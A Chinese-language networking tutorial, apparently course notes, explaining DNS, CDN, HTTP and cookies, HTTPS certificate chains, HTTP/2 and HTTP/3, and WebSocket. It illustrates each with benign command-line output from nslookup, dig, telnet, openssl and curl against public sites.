&lt;p&gt;DNS 是一个&lt;strong&gt;分层的 (Hierarchical)&lt;/strong&gt;、&lt;strong&gt;基于域的 (Domain-based)&lt;/strong&gt; 命名方案，以及一个实现主机名到 IP 地址转换的&lt;strong&gt;分布式数据库 (Distributed Database)&lt;/strong&gt; 系统
三个要点：&lt;em&gt;分布&lt;/em&gt;、&lt;em&gt;分层&lt;/em&gt;、&lt;em&gt;缓存&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;为什么是分布式的？&lt;/strong&gt; 全球几十亿台设备，如果只靠一台服务器记账，它会瞬间崩溃（单点故障、流量过载）。所以 DNS 将数据分散在全球各地&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;DNS 查询过程 / Query Process&lt;/h5&gt;
&lt;p&gt;当访问 &lt;code&gt;www.example.com&lt;/code&gt; 时：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;浏览器缓存&lt;/strong&gt; -&amp;gt; &lt;strong&gt;OS Hosts 文件&lt;/strong&gt; -&amp;gt; &lt;strong&gt;本地 DNS 服务器 (Local DNS)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;若未命中，Local DNS 发起&lt;strong&gt;迭代查询 (Iterative Query)&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;问 &lt;strong&gt;根服务器 (Root)&lt;/strong&gt; -&amp;gt; 得到 .com TLD 服务器 IP&lt;/li&gt;
&lt;li&gt;问 &lt;strong&gt;TLD 服务器&lt;/strong&gt; -&amp;gt; 得到 example.com 权威服务器 IP&lt;/li&gt;
&lt;li&gt;问 &lt;strong&gt;权威服务器 (Authoritative)&lt;/strong&gt; -&amp;gt; 得到 &lt;code&gt;www.example.com&lt;/code&gt; 的最终 IP&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;DNS 不止存 IP，还存别的东西：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A 记录&lt;/strong&gt;: 域名 -&amp;gt; IPv4 地址&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AAAA 记录&lt;/strong&gt;: 域名 -&amp;gt; IPv6 地址&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CNAME 记录&lt;/strong&gt;: 别名。比如 &lt;code&gt;www.a.com&lt;/code&gt; 其实是 b.com 的小号。（&lt;strong&gt;CDN 的核心实现机制&lt;/strong&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MX 记录&lt;/strong&gt;: 邮件交换。告诉邮件服务器邮件该发给谁&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NS 记录&lt;/strong&gt;: 域名服务器。告诉别人这块地盘归哪台 DNS 服务器管&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;nslookup &amp;amp; dig DNS&lt;/h5&gt;
&lt;p&gt;来自己看看DNS吧!
可以使用&lt;code&gt;nslookup&lt;/code&gt;工具来查看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ nslookup www.bilibili.com
Server:         127.0.0.53            &amp;lt;-- 1. 你的本地 DNS 服务器
Address:        127.0.0.53#53

Non-authoritative answer:             &amp;lt;-- 2. 非权威应答
www.bilibili.com        canonical name = a.w.bilicdn1.com.
Name:   a.w.bilicdn1.com              &amp;lt;-- 3. 这里验证了 CNAME 机制，B站把请求转给了 CDN
Address: 223.111.252.67               &amp;lt;-- 4. 最终的 A 记录 (IP 地址)
Name:   a.w.bilicdn1.com              这就是DNS的缓存机制
Address: 117.169.96.199               这里出现了多个 IP，验证了 DNS 负载均衡
... #太多了我就省略了
;; Truncated, retrying in TCP mode.
Name:   a.w.bilicdn1.com
Address: 2409:8c38:c40:100::2
Name:   a.w.bilicdn1.com
Address: 2409:8c38:c40:100::3
Name:   a.w.bilicdn1.com
Address: 2409:8c38:c40:100::241
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果想要更完整的内容，可以使用&lt;code&gt;dig&lt;/code&gt;工具&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ dig www.bilibili.com

;; ANSWER SECTION:
www.bilibili.com.       600     IN      CNAME   a.w.bilicdn1.com.
# 解释: CNAME 记录显示 B 站将域名指向了 CDN 域名 (a.w.bilicdn1.com)

a.w.bilicdn1.com.       600     IN      A       223.111.252.67
a.w.bilicdn1.com.       600     IN      A       117.169.96.199
...
# 解释: 这里返回了多个 A 记录 (IP 地址)，这验证了 DNS 负载均衡 (Load Balancing) 机制
# 客户端可以随机选择一个 IP 进行连接

;; Query time: 10 msec  &amp;lt;-- 极快的响应时间暗示了命中缓存
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Q：为什么这下面不仅仅有一个 IP 地址，而是有好几个？
A：&lt;strong&gt;负载均衡&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;:::note
&lt;strong&gt;What is 负载匀衡?&lt;/strong&gt;
负载均衡 (Load Balancing)是指在多个计算资源（如计算机集群、网络连接、CPU、磁盘驱动器）之间分配工作负载（Workloads）的技术&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;核心组件：负载均衡器 (Load Balancer)。它是位于客户端与后端服务器组（Backend Server Pool）之间的一个&lt;strong&gt;反向代理 (Reverse Proxy)&lt;/strong&gt; 或网络设备。&lt;/li&gt;
&lt;li&gt;基本功能：接收来自客户端的入站流量 (Inbound Traffic)，并根据指定的算法将其转发到后端某台特定的服务器 (Upstream Server) 上。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;s&gt;如果以后开nginx或者caddy的课可能会详细讲讲？&lt;/s&gt;
:::&lt;/p&gt;
&lt;h4&gt;内容分发网络 / CDN&lt;/h4&gt;
&lt;p&gt;如果你在中国，服务器在美国，物理距离导致的&lt;strong&gt;延迟&lt;/strong&gt;就无法通过加宽带解决
所以出现了CDN技术
&lt;img src=&quot;Computer-Network/CND.webp&quot; alt=&quot;CND&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心原理&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;边缘服务器 (Edge Server)&lt;/strong&gt;: 部署在全球各地的节点&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重定向机制&lt;/strong&gt;: 利用 DNS 的 &lt;strong&gt;CNAME&lt;/strong&gt; 记录，将用户对 &lt;code&gt;www.bilibili.com&lt;/code&gt; 的解析请求重定向到 CDN 的负载均衡器，进而返回距离用户物理距离最近、负载最低的边缘节点 IP&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缓存 (Caching)&lt;/strong&gt;: 静态资源（图片、视频、CSS/JS）被缓存在边缘节点。回源（Back-to-Source）仅在缓存未命中时发生&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;这是现代互联网视频流畅播放、网页秒开的基石&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;万维网与 HTTP / Web &amp;amp; HTTP&lt;/h3&gt;
&lt;h4&gt;HTTP 协议 / HTTP&lt;/h4&gt;
&lt;h5&gt;What is HTTP?&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;该部分内容涉及到下一层的知识点，在后面会讲，别着急&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::note
&lt;strong&gt;Definition: HTTP&lt;/strong&gt;
HTTP 是一个&lt;strong&gt;无状态 (Stateless)&lt;/strong&gt; 的应用层协议，定义了客户端（用户代理）与服务器之间交换超文本资源（HTML, 图片等）的格式与语义
:::
它基于“请求-响应” (Request-Response) 模式
还记得前面讲的“协议=语法+语义”吗？HTTP 的语法非常直观&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;请求 (Request)&lt;/strong&gt;: 动词 路径 协议版本 (例如: GET /index.html HTTP/1.1)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;响应 (Response)&lt;/strong&gt;: 协议版本 状态码 状态短语 (例如: HTTP/1.1 200 OK 或 404 Not Found)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;响应体 (Body)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;http有这两个特点:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;传输层依赖：
&lt;ul&gt;
&lt;li&gt;HTTP 默认使用 TCP 端口 80&lt;/li&gt;
&lt;li&gt;可靠性：HTTP 自身不提供数据可靠性机制，完全依赖 TCP 提供的可靠数据传输服务（无丢失、无差错、按序到达）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;RTT (Round-Trip Time) 开销：
&lt;ul&gt;
&lt;li&gt;HTTP 通信前必须先建立 TCP 连接。TCP 三次握手引入了初始延迟&lt;/li&gt;
&lt;li&gt;在非持久连接（Non-Persistent Connection）模式下，每个对象的传输都需要独立的 TCP 握手，导致显著的时延累积&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;根据 RFC 7231 标准，常见方法定义如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GET: 请求获取 Request-URI 所标识的资源&lt;/li&gt;
&lt;li&gt;POST: 向指定资源提交数据进行处理请求（如提交表单或上传文件）。数据包含在请求体中&lt;/li&gt;
&lt;li&gt;PUT: 向服务器发送数据，用以替换目标资源当前的表示&lt;/li&gt;
&lt;li&gt;DELETE: 请求服务器删除 Request-URI 所标识的资源&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Computer-Network/http.png&quot; alt=&quot;http&quot; /&gt;&lt;/p&gt;
&lt;p&gt;由于 HTTP 协议的无状态性 (Statelessness)，服务器无法仅凭协议层面的信息识别连续请求是否来自同一客户端
为此，引入了 &lt;strong&gt;Cookie&lt;/strong&gt; 机制（RFC 6265）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;状态生成：服务器在 HTTP 响应首部中包含 &lt;code&gt;Set-Cookie&lt;/code&gt; 字段，向客户端下发状态标识&lt;/li&gt;
&lt;li&gt;状态存储：用户代理（User Agent，如浏览器）将 Cookie 保存至本地（内存或磁盘）&lt;/li&gt;
&lt;li&gt;状态回传：后续向同一域发送请求时，用户代理会自动在请求首部中包含 &lt;code&gt;Cookie&lt;/code&gt; 字段，从而实现会话维持（Session Maintenance）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;s&gt;在现在的时代，&lt;strong&gt;JWT (JSON Web Token)&lt;/strong&gt; 这个词很常见呢&lt;/s&gt;&lt;/p&gt;
&lt;h5&gt;Take a look at HTTP with telnet&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;$ telnet www.baidu.com 80
Trying 36.152.44.132...
Connected to www.baidu.com.
Escape character is &apos;^]&apos;. 

# --- [手动输入部分] ---
GET / HTTP/1.1
Host: www.baidu.com
# (此处按两次回车发送请求)
# --------------------

# --- [服务器响应部分] ---
HTTP/1.1 200 OK                     &amp;lt;-- 状态行
Server: BWS/1.1                     &amp;lt;-- Server Header: 百度自研服务器
Content-Type: text/html             &amp;lt;-- 告诉终端：这是网页代码
Content-Length: 29506               &amp;lt;-- 实体长度
Connection: keep-alive              &amp;lt;-- 关键：持久连接，TCP 未断开
Set-Cookie: BAIDUID=0E91...; expires=Thu, 31-Dec-37...
# 解释: Set-Cookie 头部
# expires=2037年: 这是一个持久化 Cookie，用于长期的用户追踪

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;... (响应体 HTML 代码)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;GET / HTTP/1.1
Host: www.baidu.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是我们发送的request：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;GET /: 请求方法，告诉服务器“根路径 /给我”&lt;/li&gt;
&lt;li&gt;HTTP/1.1: 协议版本，指示客户端支持 HTTP/1.1 标准&lt;/li&gt;
&lt;li&gt;Host:www.baidu.com : &lt;strong&gt;HTTP/1.1 强制要求的首部&lt;/strong&gt;。指定目标服务器的域名&lt;/li&gt;
&lt;li&gt;回车两次: 协议中的 &lt;code&gt;\r\n\r\n&lt;/code&gt; (CRLF)&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 200 OK
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;200 OK
这里暴露了服务器的很多“隐私”：&lt;/li&gt;
&lt;li&gt;Server: BWS/1.1:
&lt;ul&gt;
&lt;li&gt;通常这里会写 nginx 或 Apache&lt;/li&gt;
&lt;li&gt;但这里是 BWS (Baidu Web Server)。百度为了高性能，自己魔改的服务器软件&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Date: Sun, 23 Nov 2025 ...: 服务器现在时间&lt;/li&gt;
&lt;li&gt;Content-Type: text/html: 告诉你的终端接受内容是什么(MIME 类型)&lt;/li&gt;
&lt;li&gt;Content-Length: 29506: 预告接下来的网页内容一共有 29,506 个字节&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Connection: keep-alive
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还记得 HTTP/1.1 的持久连接吗？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;服务器发完数据后并没有断开TCP&lt;/li&gt;
&lt;li&gt;如果你现在继续在这个窗口里输入 &lt;code&gt;GET /favicon.ico HTTP/1.1 ...&lt;/code&gt;，它会立刻响应，不需要重新握手&lt;/li&gt;
&lt;li&gt;这也意味着由于连接没断，你需要手动用 &lt;code&gt;Ctrl+]&lt;/code&gt; 然后 &lt;code&gt;quit&lt;/code&gt; 才能退出 telnet
这是 HTTP 克服“健忘症”的铁证：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Set-Cookie: BAIDUID=...; expires=Thu, 31-Dec-37...
Set-Cookie: BIDUPSID=...
Set-Cookie: PSTM=...
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;百度一口气给你发了好几个身份证（Cookie）。
&lt;ul&gt;
&lt;li&gt;BAIDUID: 这是百度用来追踪你的核心 ID。&lt;/li&gt;
&lt;li&gt;expires=Thu, 31-Dec-37
&lt;ul&gt;
&lt;li&gt;除非你手动清空浏览器缓存，否则这十几年里，百度只要看到这个 ID，就知道“哦，还是 2025 年那个用 Telnet 连我的家伙”&lt;/li&gt;
&lt;li&gt;这就是为什么广告能精准投放、搜索记录能被保存的原因&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;X-Xss-Protection: 1;mode=block: 告诉浏览器打开防 XSS 攻击的护盾（虽然现代浏览器大多已经弃用这个头了，但百度为了兼容老浏览器还留着）&lt;/li&gt;
&lt;li&gt;Vary: Accept-Encoding&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;然后后面的就是响应体(Body)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;...
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;HTTPS 协议 / HTTPS&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why HTTPS?&lt;/strong&gt;
HTTP 是&lt;strong&gt;明文&lt;/strong&gt;传输的。你在公共场合连 Wi-Fi 登录 HTTP 网站，嘿壳抓包能直接看到你的密码
HTTPS = HTTP + &lt;strong&gt;SSL/TLS&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;HTTPS 并非一种全新的协议，而是 &lt;strong&gt;HTTP over SSL/TLS&lt;/strong&gt;。它在应用层（HTTP）和传输层（TCP）之间插入了一个安全层——&lt;strong&gt;TLS (Transport Layer Security)&lt;/strong&gt; 或其前身 SSL (Secure Sockets Layer)&lt;/p&gt;
&lt;p&gt;HTTPS 解决了三个核心安全问题（CIA 模型）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;机密性 (Confidentiality)&lt;/strong&gt;: 防止窃听 (Eavesdropping)。通过加密算法对数据负载进行编码，确保只有拥有密钥的接收方才能解密&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;完整性 (Integrity)&lt;/strong&gt;: 防止篡改 (Tampering)。通过&lt;strong&gt;消息摘要 (Message Digest)&lt;/strong&gt; 算法（如 SHA-256）生成数字指纹，确保数据在传输过程中未被修改&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;身份认证 (Authentication)&lt;/strong&gt;: 防止伪装 (Spoofing)。通过&lt;strong&gt;数字证书 (Digital Certificate)&lt;/strong&gt; 和 &lt;strong&gt;PKI (公钥基础设施)&lt;/strong&gt; 验证服务器的真实身份&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;TLS 协议混合使用了两种加密方式以平衡安全性与性能：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;非对称加密 (Asymmetric Encryption)&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;: 使用一对密钥（公钥 Public Key 和 私钥 Private Key）。公钥加密的数据只能由私钥解密，反之亦然&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 仅用于 &lt;strong&gt;TLS 握手阶段&lt;/strong&gt;，用于安全地交换“会话密钥”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;算法&lt;/strong&gt;: RSA, ECC (Elliptic Curve Cryptography), Diffie-Hellman&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;对称加密 (Symmetric Encryption)&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;: 通信双方持有相同的密钥，加密和解密使用同一把钥匙&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 用于 &lt;strong&gt;应用数据传输阶段&lt;/strong&gt;（握手完成后），因为其计算速度远快于非对称加密&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;算法&lt;/strong&gt;: AES-GCM, ChaCha20-Poly1305&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;CA (Certificate Authority)&lt;/strong&gt; 是信任的锚点&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;信任链验证&lt;/strong&gt;: 浏览器利用内置的 &lt;strong&gt;Root CA&lt;/strong&gt; 公钥，逐级验证服务器证书的签名&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;openssl证书链观测&lt;/h5&gt;
&lt;p&gt;我们可以使用openssl来看看证书&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ openssl s_client -connect www.bilibili.com:443 -showcerts
Connecting to 223.111.252.67...
# [Part 1: 证书链验证过程]
# OpenSSL 从服务器收到了证书链，并尝试逐级验证
depth=2 OU=GlobalSign Root CA - R3, O=GlobalSign, CN=GlobalSign
verify return:1  # depth=2: 根证书 (Root CA)

depth=1 C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018
verify return:1  # depth=1: 中间证书 (Intermediate CA)

depth=0 C=CN, ST=上海, L=上海, O=上海幻电信息科技有限公司, CN=*.bilibili.com
verify return:1  # depth=0: 服务器证书 (Leaf Certificate)

---
# [Part 2: 证书链详情]
Certificate chain
 # 0号证书：服务器实体证书
 0 s:C=CN, ST=上海, L=上海, O=上海幻电信息科技有限公司, CN=*.bilibili.com  # s (Subject): 证书持有者
   i:C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018  # i (Issuer): 颁发者
   a:PKEY: RSA, 2048 (bit); sigalg: sha256WithRSAEncryption # 签名算法

 # 1号证书：中间 CA 证书
 1 s:C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018 # Subject
   i:OU=GlobalSign Root CA - R3, O=GlobalSign, CN=GlobalSign # Issuer (指向 Root)

 # 2号证书：根 CA 证书 (通常由 OS 内置，服务器可发可不发)
 2 s:OU=GlobalSign Root CA - R3, O=GlobalSign, CN=GlobalSign
   i:C=BE, O=GlobalSign nv-sa, OU=Root CA, CN=GlobalSign Root CA # Issuer (通常是自签名)
---
Server certificate
...
---
# [Part 3: 握手结果]
SSL handshake has read 4424 bytes and written 1642 bytes
Verification: OK # 核心结果：信任链验证通过
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384  # 协议版本 TLS 1.3，使用 AES-256-GCM 对称加密
Protocol: TLSv1.3
Server public key is 2048 bit
...
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;HTTP 演进 / HTTP Evolution&lt;/h4&gt;
&lt;h5&gt;HTTP/1.1&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;机制&lt;/strong&gt;: 文本协议，支持持久连接&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缺陷&lt;/strong&gt;: &lt;strong&gt;应用层队头阻塞 (HOL Blocking)&lt;/strong&gt;。请求必须串行排队，前一个请求未完成，后续请求只能等待
&lt;img src=&quot;Computer-Network/HOL.png&quot; alt=&quot;HOL&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;HTTP/2&lt;/h5&gt;
&lt;p&gt;因此进化出了HTTP/2：
HTTP/2 依然基于 TCP，但对其传输机制进行了重构，旨在解决应用层 HOL 阻塞&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;机制&lt;/strong&gt;: &lt;strong&gt;二进制分帧&lt;/strong&gt; + &lt;strong&gt;多路复用&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;改进&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;流 (Stream)&lt;/strong&gt;: 允许在同一个 TCP 连接中并发传输多个请求/响应&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HPACK&lt;/strong&gt;: 头部压缩，节省带宽&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Server Push&lt;/strong&gt;: 服务端主动推送资源&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;现在绝大部分地方都停留在了HTTP/2
就用b站为例子&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ curl -v -I https://www.bilibili.com
...
# [Step 1: ALPN 协商 (Application-Layer Protocol Negotiation)]
# 在 TLS 握手的同时，客户端告知服务器：“我支持 HTTP/2 (h2) 和 HTTP/1.1”
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
...
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
...
# 服务器在 TLS 握手结束时确认：“好的，我们使用 h2 (HTTP/2)”
* ALPN: server accepted h2
* Server certificate:
...
* Connected to www.bilibili.com (2409:8c20:5624::55) port 443

# [Step 2: HTTP/2 流与伪首部]
* using HTTP/2
# 开启 1 号流 (Stream ID 1) 用于传输请求
* [HTTP/2] [1] OPENED stream for https://www.bilibili.com/
# 发送 HEADERS 帧。注意：HTTP/2 使用“伪首部字段” (Pseudo-Header Fields，以冒号开头)
* [HTTP/2] [1] [:method: HEAD]        # 对应 HTTP/1.1 的 GET/HEAD 方法
* [HTTP/2] [1] [:scheme: https]       # 协议
* [HTTP/2] [1] [:authority: www.bilibili.com] # 对应 HTTP/1.1 的 Host 头部
* [HTTP/2] [1] [:path: /]             # 路径
* [HTTP/2] [1] [user-agent: curl/8.15.0]
* [HTTP/2] [1] [accept: */*]
&amp;gt; HEAD / HTTP/2
&amp;gt; Host: www.bilibili.com
&amp;gt; User-Agent: curl/8.15.0
&amp;gt; Accept: */*
&amp;gt;
* Request completely sent off

# [Step 3: 接收响应]
&amp;lt; HTTP/2 200
&amp;lt; date: Sun, 23 Nov 2025 08:29:57 GMT
&amp;lt; content-type: text/html; charset=utf-8
...
* Connection #0 to host www.bilibili.com left intact
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;HTTP/3&lt;/h5&gt;
&lt;p&gt;HTTP/2 解决了应用层的阻塞，但无法解决 &lt;strong&gt;TCP 层面的队头阻塞 (Transport-Layer HOL Blocking)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TCP 的局限&lt;/strong&gt;: TCP 是字节流协议，要求数据按序到达。如果 TCP 窗口中的一个包丢失，操作系统内核会挂起整个 TCP 连接，等待重传，导致所有流（Stream）都被阻塞&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;HTTP/3 弃用 TCP，改用基于 UDP 的 &lt;strong&gt;QUIC 协议 (Quick UDP Internet Connections)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;基于 UDP&lt;/strong&gt;: UDP 无连接、不可靠，但 QUIC 在应用层实现了可靠传输机制（重传、拥塞控制）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;流的独立性 (Stream Independence)&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;QUIC 中的流是真正的独立。如果流 A 的一个 UDP 包丢失，只会影响流 A，流 B 和 流 C 继续传输，不受影响&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;连接迁移 (Connection Migration)&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;TCP 依赖四元组（源IP, 源端口, 目的IP, 目的端口）标识连接。网络切换（Wi-Fi -&amp;gt; 4G）会导致 IP 改变，连接断开&lt;/li&gt;
&lt;li&gt;QUIC 使用 &lt;strong&gt;Connection ID (CID)&lt;/strong&gt; 标识连接。只要 CID 不变，即使 IP 变了，连接依然保持，无需重新握手&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;0-RTT 握手&lt;/strong&gt;: 结合 TLS 1.3，允许在恢复会话时直接发送数据&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;QUIC 是在 &lt;strong&gt;用户态 (User Space)&lt;/strong&gt; 实现的可靠传输，而不是内核态，这是它迭代快的原因&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;实时通信 / Real-Time Communication&lt;/h3&gt;
&lt;p&gt;在上一节我们看到，HTTP 的本质是“请求-响应”模式。这种模式有一个致命的缺陷：&lt;strong&gt;被动性&lt;/strong&gt;
服务器就像一个仅仅会应答的机器，客户端不问，它就永远不能说话&lt;/p&gt;
&lt;p&gt;这对于浏览网页没问题，但对于&lt;strong&gt;即时通讯 (IM)&lt;/strong&gt;、&lt;strong&gt;股票行情&lt;/strong&gt;或&lt;strong&gt;多人在线游戏&lt;/strong&gt;来说，是无法接受的。为了让服务器能“主动”发消息，最早的开发者只能使用&lt;strong&gt;轮询 (Polling)&lt;/strong&gt;，即让浏览器每隔几秒就发一个 HTTP 请求问：“有新消息吗？”。这不仅制造了大量无效的 HTTP 请求，还带来了无法消除的延迟&lt;/p&gt;
&lt;p&gt;我们需要一种真正的双向通信机制&lt;/p&gt;
&lt;h4&gt;WebSocket 协议 / WebSocket&lt;/h4&gt;
&lt;p&gt;WebSocket 的出现解决了这个问题。它允许在单个 TCP 连接上进行&lt;strong&gt;全双工 (Full-Duplex)&lt;/strong&gt; 通信——即双方都可以同时向对方发送数据，不需要谁先问谁&lt;/p&gt;
&lt;p&gt;有趣的是，WebSocket 并不是另起炉灶，它是&lt;strong&gt;寄生&lt;/strong&gt;在 HTTP 之上的。建立一个 WebSocket 连接，必须经历一次“协议升级”的过程&lt;/p&gt;
&lt;p&gt;我们可以抓包或使用 &lt;code&gt;curl&lt;/code&gt; 模拟这个过程，你会发现它始于 HTTP，终于二进制流：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ curl --http1.1 -i -N \
    -H &quot;Connection: Upgrade&quot; \
    -H &quot;Upgrade: websocket&quot; \
    -H &quot;Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==&quot; \
    -H &quot;Sec-WebSocket-Version: 13&quot; \
    https://echo.websocket.org
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;服务器会返回 &lt;code&gt;HTTP/1.1 101 Switching Protocols&lt;/code&gt;
它标志着 TCP 连接的&lt;strong&gt;所有权&lt;/strong&gt;发生了转移，建立了一条原始的 TCP 管道，直接传输 WebSocket 的&lt;strong&gt;二进制帧 (Frame)&lt;/strong&gt;
&lt;img src=&quot;Computer-Network/websocket.png&quot; alt=&quot;websocket&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;WebTransport 协议 / WebTransport&lt;/h4&gt;
&lt;p&gt;WebSocket 虽然解决了双向通信，但它依然基于 &lt;strong&gt;TCP&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WebTransport&lt;/strong&gt; 是基于 &lt;strong&gt;HTTP/3 (QUIC)&lt;/strong&gt; 构建的新一代 API。由于底层换成了基于 UDP 的 QUIC，它能够提供一种名为 &lt;strong&gt;Datagrams (数据报)&lt;/strong&gt; 的传输模式。在这种模式下，数据包是可以丢弃、可以乱序的。对于实时性要求极高的场景，丢几帧画面远比卡顿几秒要好得多&lt;/p&gt;
&lt;h3&gt;远程管理 / Remote Management&lt;/h3&gt;
&lt;p&gt;如何管理远程服务器？也许你可以看看ssh&lt;/p&gt;
